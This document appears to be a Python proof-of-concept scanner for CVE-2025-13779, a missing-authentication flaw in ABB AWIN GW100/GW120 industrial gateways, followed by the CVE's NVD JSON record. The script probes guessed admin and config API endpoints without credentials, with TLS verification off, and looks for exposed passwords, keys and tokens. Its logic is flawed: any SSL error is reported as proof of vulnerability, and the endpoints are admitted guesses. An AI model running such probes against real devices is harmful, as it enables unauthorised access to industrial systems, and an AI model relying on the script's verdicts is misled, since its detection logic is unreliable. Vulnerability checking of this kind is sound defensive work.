CVE-2025-13779

import requests import sys # CVE-2025-13779 PoC - ABB AWIN GW100/GW120 Missing Authentication # Target: ABB AWIN GW100 rev.2 and AWIN GW120 devices # Attack Vector: Adjacent Network (AV:A) # Authentication Required: None (PR:N) def check_vulnerability(target_ip, target_port=443): """ Check if target ABB AWIN device is vulnerable to CVE-2025-13779 Attempts to access critical functions without authentication """ base_url = f"https://{target_ip}:{target_port}" # Endpoints that should require authentication # These are common ABB gateway management endpoints sensitive_endpoints = [ "/api/system/config", "/api/network/settings", "/api/firmware/info", "/api/admin/status", "/cgi-bin/admin.cgi" ] print(f"[*] Scanning target: {target_ip}:{target_port}") print(f"[*] CVE-2025-13779 - Missing Authentication PoC") print("-" * 50) vulnerable = False for endpoint in sensitive_endpoints: try: # Attempt unauthenticated access response = requests.get( f"{base_url}{endpoint}", verify=False, timeout=10, headers={ 'User-Agent': 'ABB-AWIN-Security-Scanner/1.0' } ) if response.status_code == 200: # Check if sensitive data is exposed if any(keyword in response.text.lower() for keyword in ['password', 'config', 'firmware', 'serial', 'key', 'token']): print(f"[+] VULNERABLE: {endpoint}") print(f" Status: {response.status_code}") print(f" Response length: {len(response.text)} bytes") vulnerable = True else: print(f"[*] Endpoint accessible: {endpoint} (no sensitive data)") elif response.status_code == 401 or response.status_code == 403: print(f"[-] Protected: {endpoint} (HTTP {response.status_code})") else: print(f"[*] Response: {endpoint} (HTTP {response.status_code})") except requests.exceptions.SSLError: print(f"[!] SSL Error on {endpoint} - device may be vulnerable") vulnerable = True except requests.exceptions.RequestException as e: print(f"[!] Error accessing {endpoint}: {str(e)}") print("-" * 50) if vulnerable: print("[!] Target is VULNERABLE to CVE-2025-13779") print("[!] Recommendation: Apply vendor patch immediately") return True else: print("[*] Target may not be vulnerable or is properly patched") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-13779-poc.py <target_ip> [port]") print("Example: python cve-2025-13779-poc.py 192.168.1.100 443") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 443 check_vulnerability(target, port)

{"cve": {"id": "CVE-2025-13779", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:53:49.480", "lastModified": "2026-05-19T15:06:36.883", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing authentication for critical function vulnerability in ABB AWIN GW100 rev.2, ABB AWIN GW120.This issue affects AWIN GW100 rev.2: 2.0-0, 2.0-1; AWIN GW120: 1.2-0, 1.2-1."}, {"lang": "es", "value": "Vulnerabilidad de falta de autenticación para función crítica en ABB AWIN GW100 rev.2, ABB AWIN GW120. Este problema afecta a AWIN GW100 rev.2: 2.0-0, 2.0-1; AWIN GW120: 1.2-0, 1.2-1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}]}], "references": [{"url": "https://search.abb.com/library/Download.aspx?DocumentID=4JNO000329&LanguageCode=en&DocumentPartId=&Action=Launch", "source": "[email protected]"}]}}